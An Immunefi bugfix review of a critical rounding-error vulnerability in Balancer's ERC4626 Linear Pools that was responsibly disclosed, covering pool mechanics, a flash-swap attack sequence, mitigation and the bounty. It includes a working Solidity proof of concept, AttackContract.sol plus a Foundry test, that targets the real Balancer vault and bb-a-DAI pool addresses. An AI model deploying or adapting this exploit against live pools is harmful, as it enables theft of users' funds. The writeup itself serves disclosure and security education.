Balancer Rounding Error Bugfix Review

Summary

On August 11, 2023, whitehat GothicShanon89238 submitted a critical vulnerability to Balancer via Immunefi, which consisted of a rounding error of ERC4626LinearPools combined with flashSwap. At the time of the submission, all value in Boosted Pools could be drained by the attack, which was 20% of Balancer’s $1 billion TVL at the time.

Balancer quickly took measures to remediate the bug after receiving GothicShanon89238’s report. Both Balancer and the whitehat collaborated on an effective solution to mitigate the vulnerability by performing all possible mitigation measures, disclosing the vulnerability, and providing a UI for streamlined withdrawals. The vast majority of funds at risk were withdrawn within 48 hours.

Balancer paid out a bounty of 1,000,000 USDC to the whitehat for the bug, which could have resulted in the drain of funds from composable vaults. This reward is the highest bounty Balancer has awarded. Balancer’s blog post about the vulnerability, published on September 14, is available here.

Immunefi is pleased to have facilitated this responsible disclosure with our platform. Our goal is to make web3 safer by incentivizing hackers to responsibly disclose bugs and receive clean money and reputation in exchange.

What is Balancer?

Balancer is a decentralized automated market maker (AMM) which was designed to be a flexible building block for programmable liquidity. Balancer becomes an extensible AMM that can incorporate any number of swap curves and pool types by separating the AMM curve logic and math from the core swapping functionality. Users can swap between any ERC20 token, liquidity providers (LPs) can add liquidity to pools to earn fees, arbitragers can take advantage of price differences between pools, and BAL token holders can lock their token into veBAL and participate in governance in the Balancer ecosystem.

Balancing Market Mechanics

Balancer’s V2 vaults aim to increase capital efficiency by utilizing “idle” tokens which exist in pools. Liquidity providers receive a liquid token in return for joining liquidity pools, called Balancer Pool Tokens (BPT), and burn these tokens when exiting a pool to withdraw their original assets. Pools are initialized with a large portion of newly minted BPT to provide liquidity for swapping into the asset. An important thing to note for later to understand the core vulnerability is swapping in or out for BPT is considered the same as a join/exit for liquidity providers. Batch swaps can bypass any reentrancy protections as joins and exits can be executed as swaps of BPT.

Deep liquidity is incentivized and good for automated market makers, as they decrease price impact for user swaps. However, typically a large percentage of assets used to decrease price impact are never used for a swap. Balancer identified this and aimed to fix the problem in their V2 vaults by introducing asset managers. Asset managers handle balancing of tokens in a pool to support expected trade volume and allocate a portion of idle tokens to yield farming strategies. Liquidity providers gain yield from the managed idle tokens deposited to yield-generating protocols, encouraging users to provide more liquidity to pools. Swappers trade with minimal price impact, since the pool operates as if it has the full balance of liquidity.

Linear Pools

Within the Balancer ecosystem, Linear Pools serve as platforms where assets and their corresponding yield-bearing wrapped counterparts can be traded at a fixed exchange rate, which can either be calculated or obtained through queries. These pools are strategically crafted with specific target ranges in mind, aiming to encourage the ideal distribution of the native token for swaps in comparison to the yield-bearing counterpart. Pools are initialized with BPT, where ownership of the pool is tracked by holders of BPT. Linear pools allow the user to trade directly into BPT, no joins or exits are needed.

To uphold the desired balance between the two types of tokens, Linear Pools implement a fee/reward system that acts as an incentive for arbitragers. These pools make use of Linear Math and play a pivotal role as a fundamental component within the structure of Boosted Pools. Linear math is designed with the purpose of simplifying asset exchanges between the assets themselves and their wrapped, yield-bearing counterparts. The fee/reward mechanism to incentivize arbitragers to maintain a desired ratio between the two tokens causes swaps which imbalance the pool to pay a higher fee, but as long as the swap keeps the balance of the pool within a certain window, there are zero fees. Encouraging users to keep a target ratio of these assets through fees and rewards acts as a way to automate asset management through incentives.

Pools All The Way Down

Since BPT are ERC20 tokens themselves, Linear BPT Pools can be nested within other pools. Nesting creates an avenue for swappers to batch swap tokens in the outer pool to those in the inner pool through BPT. This functionality permits swappers to trade their BPT for one of the underlying tokens within the nested pool. Composability is key in utilizing Linear Pools to replace the need for manual intervention by asset managers in a pool to maintain the optimal balance of yield-generating tokens in Boosted Pools. Allowing pools to be nested enables higher level pools to be created which utilize all the advantages of the underlying pool, all while facilitating swaps between another asset.

Boosted Pools

Boosted Pools are built on the foundation of Linear Pools. Boosted Pools are pools which contain Linear Pools as their assets. Since Linear pools forward idle tokens to external yield-generating protocols automatically, swappers get access to deep liquidity, and liquidity providers generate yield based on the liquidity they provide. Even better, since pools are all built on the same foundational BPT token, this means users can swap any yield-generating token in a pool directly to an underlying token within a Linear Pool.

An example of this is the bb-a-USD Composable Stable Pool. This pool facilitates the swapping of USDC, USDT, and DAI while sending liquidity to Aave. The bb-a-USD pool is composed of three underlying Linear Pools, bb-a-USDC, bb-a-USDT, and bb-a-DAI. These underlying pools facilitate swaps between each stable coin and respective yield-generating token, but when combined into the Boosted Aave USD pool, can facilitate swaps between any yield-generating token (aUSDC, aUSDT, and aDAI) and its equivalent value of any underlying base asset (USDC, USDT, and DAI).

Vulnerability Analysis

GothicShanon89238 reported a vulnerability to Balancer which described an issue with the 1:1 swapping mechanism between the underlying token and the wrapped token in ERC4626LinearPools. Due to a rounding error, when a user attempts to exchange 1 wei of the Wrapped token, the pool only deducts 1 wei from the underlying token. Because the wrapped token holds higher value compared to the underlying assets, value is being extracted from the pool. This in and of itself may not initially seem like a critical issue, as gas and swap fees will typically prevent any profit from being extracted by an attacker. However, a number of conditions perfectly aligned which caused Linear Pools to be critically affected.

The first condition is that Linear Pools allow for the execution of flash swaps. Flash swaps are very similar to flash loans, in that they enable an arbitrager who discovers a price discrepancy between pools to profit from a swap which balances them, without needing to hold any initial capital. This functionality is enabled through batch swaps which “settle at the end”.

The second condition is Linear Pools don’t have fees when balanced. This would allow an attacker to perform as many swaps as they like for free, as long as it kept the balance between tokens within the target window.

The final condition was that Linear Pools were initialized with a very large balance of BPT. This meant an attacker could borrow an essentially unlimited amount BPT to execute the attack.

These three conditions combined to allow an attacker to perform the following attack on a Linear Pool, and would have allowed an attacker to drain all value in Boosted Pools:

  1. Execute a flash swap in a Linear Pool using BPT to trade for the main and wrapped tokens, significantly reducing the total supply of each to near 0.
  2. Perform multiple swaps with GivenOut between the underlying and wrapped, which takes advantage of the rounding error to decrease the total balance without affecting the supply. Rate is calculated as rate = balance/supply, so this drops the rate below 1.
  3. Repay the flash swapped BPT by trading the underlying token at a lower rate than when it was borrowed.

Proof of Concept (PoC)

The following PoC demonstrates an attack on Balancer’s bb-a-DAI Linear Pool. By executing the swapDecrease function multiple times, the test demonstrates simplified version of the attack resulting in the theft of 320,891 DAI in a single transaction with no starting capital required. The complete version can be found at https://github.com/immunefi-team/bugfix-reviews-pocs/tree/main/src/Balancer/rounding-error-aug2023.

The steps to use this PoC is as follows:

  1. Install the Foundry framework from https://github.com/foundry-rs/foundry
  2. Clone the Immunefi bugfix review repository: git clone https://github.com/immunefi-team/bugfix-reviews-pocs.git
  3. Run the following command to run the PoC: forge test -vvv — match-path ./test/Balancer/rounding-error-aug2023/BalancerPoC.sol

BalancerPoC.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "@immunefi/src/PoC.sol";
import "../src/AttackContract.sol";

contract BalancerPoCTest is PoC {
    AttackContract public attackContract;
    IERC20[] tokens;
    address bbaDAI = 0xfa24A90A3F2bBE5FEEA92B95cD0d14Ce709649f9;

    function setUp() public {
        // Fork from specified block chain at block
        vm.createSelectFork("https://rpc.ankr.com/eth", 17893427);

        // Deploy attack contract
        attackContract = new AttackContract();

        // Tokens to track during snapshotting
        // e.g. tokens.push(EthereumTokens.USDC);
        tokens.push(IERC20(bbaDAI));
        tokens.push(EthereumTokens.DAI);

        setAlias(address(attackContract), "Attacker");

        console.log("\n>>> Initial conditions");
    }

    function testPoolWithNoWrappedToken() public snapshot(address(attackContract), tokens) {
        // no initial funds required
        console.log("Balancer aDAI rate before:", ComposableStablePool(bbaDAI).getRate());
        for (int256 i = 0; i < 500; i++) {
            attackContract.swapDecrease(bbaDAI);
        }
        console.log("Balancer aDAI rate after: ", ComposableStablePool(bbaDAI).getRate());
    }
}

AttackContract.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "@immunefi/src/PoC.sol";
import "./interfaces/Vault.sol";
import "./interfaces/ComposableStablePool.sol";
import "./interfaces/AaveLinearPool.sol";

contract AttackContract is PoC {
    address vault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;

    struct Balances {
        uint256 totalInitialUsd;
        uint256 finalBalance;
        uint256 usdcFinalBalance;
        uint256 daiFinalBalance;
        uint256 usdtFinalBalance;
        uint256 stgFinalBalance;
    }

    function getParameters(
        address pool,
        address asset,
        address wrappedToken,
        Vault.FundManagement memory funds,
        address[] memory assets,
        int256[] memory,
        /**
         * limits
         **/
        uint256 steps
    ) public returns (Vault.BatchSwapStep[] memory) {
        bytes32 poolId = ComposableStablePool(pool).getPoolId();
        // To generalize the exploit, we need to get everything into one batchSwap
        // First step, if there's no enough wrapped token in the pool, we want to
        // swap "to" the bpt token "from" wrapped token. In this case, we don't need
        // to interact with the wrapped token itself.
        // Vault.BatchSwapStep[] memory swaps = new Vault.BatchSwapStep[](0);

        uint256 wrappedTokenBalance = getTokenBalance(pool, wrappedToken);
        uint256 newWrappedTokenBalance;
        if (wrappedTokenBalance < 1 ether) {
            Vault.BatchSwapStep[] memory _swaps = new Vault.BatchSwapStep[](1);
            _swaps[0] =
                Vault.BatchSwapStep({poolId: poolId, assetInIndex: 2, assetOutIndex: 0, amount: 1 ether, userData: ""});
            int256[] memory output = Vault(vault).queryBatchSwap(uint8(Vault.SwapKind.GIVEN_OUT), _swaps, assets, funds);
            newWrappedTokenBalance = uint256(output[2]);
        }
        uint256 assetTokenBalance = getTokenBalance(pool, asset);

        Vault.BatchSwapStep[] memory swaps = new Vault.BatchSwapStep[](steps + 5);

        swaps[0] = Vault.BatchSwapStep({
            poolId: poolId,
            assetInIndex: 2,
            assetOutIndex: 0,
            amount: 1 ether, // assume no lower targets
            userData: ""
        });

        swaps[1] = Vault.BatchSwapStep({
            poolId: poolId,
            assetInIndex: 0,
            assetOutIndex: 1,
            amount: assetTokenBalance, // assume no lower targets
            userData: ""
        });

        swaps[2] = Vault.BatchSwapStep({
            poolId: poolId,
            assetInIndex: 0,
            assetOutIndex: 2,
            amount: newWrappedTokenBalance - steps * 20, // assume no lower targets
            userData: ""
        });

        for (uint256 i = 0; i < steps; i++) {
            swaps[i + 3] =
                Vault.BatchSwapStep({poolId: poolId, assetInIndex: 1, assetOutIndex: 2, amount: 1, userData: ""});
        }

        swaps[steps + 3] = Vault.BatchSwapStep({
            poolId: poolId,
            assetInIndex: 1,
            assetOutIndex: 0,
            amount: getVirtualSupply(pool),
            userData: ""
        });

        swaps[steps + 4] =
            Vault.BatchSwapStep({poolId: poolId, assetInIndex: 1, assetOutIndex: 2, amount: steps * 19, userData: ""});

        return swaps;
    }

    function getTokenBalance(address pool, address token) public view returns (uint256 balance) {
        bytes32 poolId = ComposableStablePool(pool).getPoolId();
        (address[] memory tokens, uint256[] memory balances,) = Vault(vault).getPoolTokens(poolId);
        for (uint256 i = 0; i < tokens.length; i++) {
            if (tokens[i] == token) {
                return balances[i];
            }
        }
    }

    function getVirtualSupply(address pool) public view returns (uint256) {
        uint256 totalSupply = IERC20(pool).totalSupply();
        bytes32 poolId = ComposableStablePool(pool).getPoolId();
        (address[] memory tokens, uint256[] memory balances,) = Vault(vault).getPoolTokens(poolId);

        for (uint256 i = 0; i < tokens.length; i++) {
            if (tokens[i] == pool) {
                return totalSupply - balances[i];
            }
        }
        return 0;
    }

    function swapDecrease(address pool) public {
        address wrappedToken = AaveLinearPool(pool).getWrappedToken();
        address asset = AaveLinearPool(pool).getMainToken();

        Vault.FundManagement memory funds;
        address[] memory assets = new address[](3);
        int256[] memory limits = new int256[](3);
        {
            funds.sender = address(this);
            funds.fromInternalBalance = false;
            funds.recipient = address(this);
            funds.toInternalBalance = false;

            assets[0] = pool;
            assets[1] = asset;
            assets[2] = wrappedToken;

            limits[0] = 2 ** 128;
            limits[1] = 2 ** 128;
            limits[2] = 2 ** 128;
        }

        uint256 steps = 20;
        Vault.BatchSwapStep[] memory swaps = getParameters(pool, asset, wrappedToken, funds, assets, limits, steps);

        Vault(vault).batchSwap(Vault.SwapKind.GIVEN_OUT, swaps, assets, funds, limits, block.timestamp);
    }
}

Vulnerability Fix

V5 Composable Stable Pools were paused and put into recovery mode, so that swaps were disabled but users could still withdraw funds. Linear Pools were not able to be paused by Balancer. However, the majority used upgradeable wrapper tokens whose code could be replaced to block swaps, but still allow direct unwrapping.

The total TVL at risk before mitigation was $242 million, but was reduced to $40 million after quick action from the Balancer team.

For pools which did not have a recovery mode or used incompatible wrappers, LPs were notified and urged to exit immediately, which resulted in 95% of all LPs withdrawing without being affected.

Acknowledgements

We would like to thank the whitehat GothicShanon89238 for doing an amazing job in responsibly disclosing such an important bug, and for assisting the Balancer team in the mitigation of the vulnerability. Balancer also did an amazing job identifying the best mitigation plan, even with limited admin access to affected pools.

If you’re a developer or a whitehat considering a lucrative bug-hunting career in web3 — this message is for you. With 10–100x the rewards commonly found in web2, your efforts will pay off exponentially by switching to web3.

Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.